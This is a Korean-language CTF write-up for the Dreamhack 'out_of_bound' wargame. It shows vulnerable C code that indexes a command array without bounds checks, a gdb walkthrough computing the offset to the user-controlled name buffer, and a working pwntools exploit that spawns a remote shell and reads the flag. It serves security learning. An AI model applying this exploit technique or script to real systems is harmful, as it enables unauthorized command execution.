Wargame/Dreamhack

out_of_bound

wyv3rn 2022. 7. 30. 20:32
728x90
반응형

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

코드를 요약하자면
read 함수로 name 변수에 값을 받아 저장하며,
scanf 함수로 정수를 받아 이를 참조하여 command 배열에서 값을 가져오고,
배열의 문자열을 가져와서 system 함수를 실행하는데,
값을 가져올때 그 크기를 체크하지 않아 다른 값을 불러와 system 함수를 실행할 수 있게 된다.

즉, 어딘가에 있을 /bin/sh 문자열을 찾아서 그 위치를 scanf 함수의 입력값으로 사용하면 될 것으로 생각된다.

여기서 name 변수와 command 변수는 전역 변수로 선언되었기에 코드 영역 어딘가에 근접하여 위치하고 있을 것으로 예상된다.

이를 gdb로 확인해보자.

우선 command 변수의 위치를 확인해보면

gef➤  disas main
Dump of assembler code for function main:
...
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    $0x10,%esp
   0x08048734 <+105>:   mov    -0x10(%ebp),%eax
   0x08048737 <+108>:   mov    0x804a060(,%eax,4),%eax
   0x0804873e <+115>:   sub    $0xc,%esp
   0x08048741 <+118>:   push   %eax
   0x08048742 <+119>:   call   0x8048500 <system@plt>
...

main 함수 내에 위치가 명시되어있듯이 0x804a060이다.

name 변수는 gdb에서 프로그램 실행 후 임의의 값을 넣고 grep 명령어를 통해 찾을 수 있다.

gef➤  b *main+108
Breakpoint 1 at 0x8048737
gef➤  r
Starting program: /home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/out_of_bound 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc9000'
Admin name: AAAAAAAAAA
What do you want?: 1
gef➤  grep AAAAAAAAAA
[+] Searching 'AAAAAAAAAA' in memory
[+] In '/home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/out_of_bound'(0x804a000-0x804b000), permission=rw-
  0x804a0ac - 0x804a0b8  →   "AAAAAAAAAA\n"

이를 통해 두 변수의 위치 차이를 구할 수 있다.

gef➤  p 0x804a0ac-0x804a060
$1 = 0x4c

여기서 중요한 부분은 배열의 주소를 가지고 문자열을 찾기 때문에 문자열의 주소를 직접적으로 system 함수의 값으로 사용하면 안된다.

예를 들어 command 배열의 값들을 보면 아래와 같이 문자열이 아닌 각 문자열의 주소를 담고 있는 것을 볼 수 있다.

0x804a060 <command>:    0x080487f0      0x080487f4      0x080487f7      0x080487fa
0x804a070 <command+16>: 0x080487fd      0x00000000      0x00000000      0x00000000
0x804a080 <command+32>: 0x00000000      0x00000000
gef➤  x/s 0x80487f0
0x80487f0:      "cat"
gef➤  x/s 0x80487f4
0x80487f4:      "ls"
gef➤  x/s 0x80487f7
0x80487f7:      "id"
gef➤  x/s 0x80487fa
0x80487fa:      "ps"
gef➤  x/s 0x80487fd
0x80487fd:      "file ./oob"

그러므로 호출된 배열의 주소는 문자열의 주소를 담고 있는 곳이어야 한다.

또한 scanf로 입력받는 값은 배열의 각 주소를 가르키기에 4 byte 단위로 계산되어야한다.

 

이를 모아 페이로드를 작성해보면 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',21160)
#p = process('./out_of_bound')

i=0x4c / 4

pay = b''
pay += p32(0x804a0ac+4)
pay += b'/bin/sh'

p.sendafter(b': ',pay)
p.sendafter(b': ',str(int(i)))

p.interactive()
┌──(kali㉿kali)-[~/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21160: Done
/home/kali/Downloads/b29477c4-c1f8-4dec-afb7-482a5478e87c/a.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendafter(b': ',str(int(i)))
[*] Switching to interactive mode
$ id
$ id
uid=1000(out_of_bound) gid=1000(out_of_bound) groups=1000(out_of_bound)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형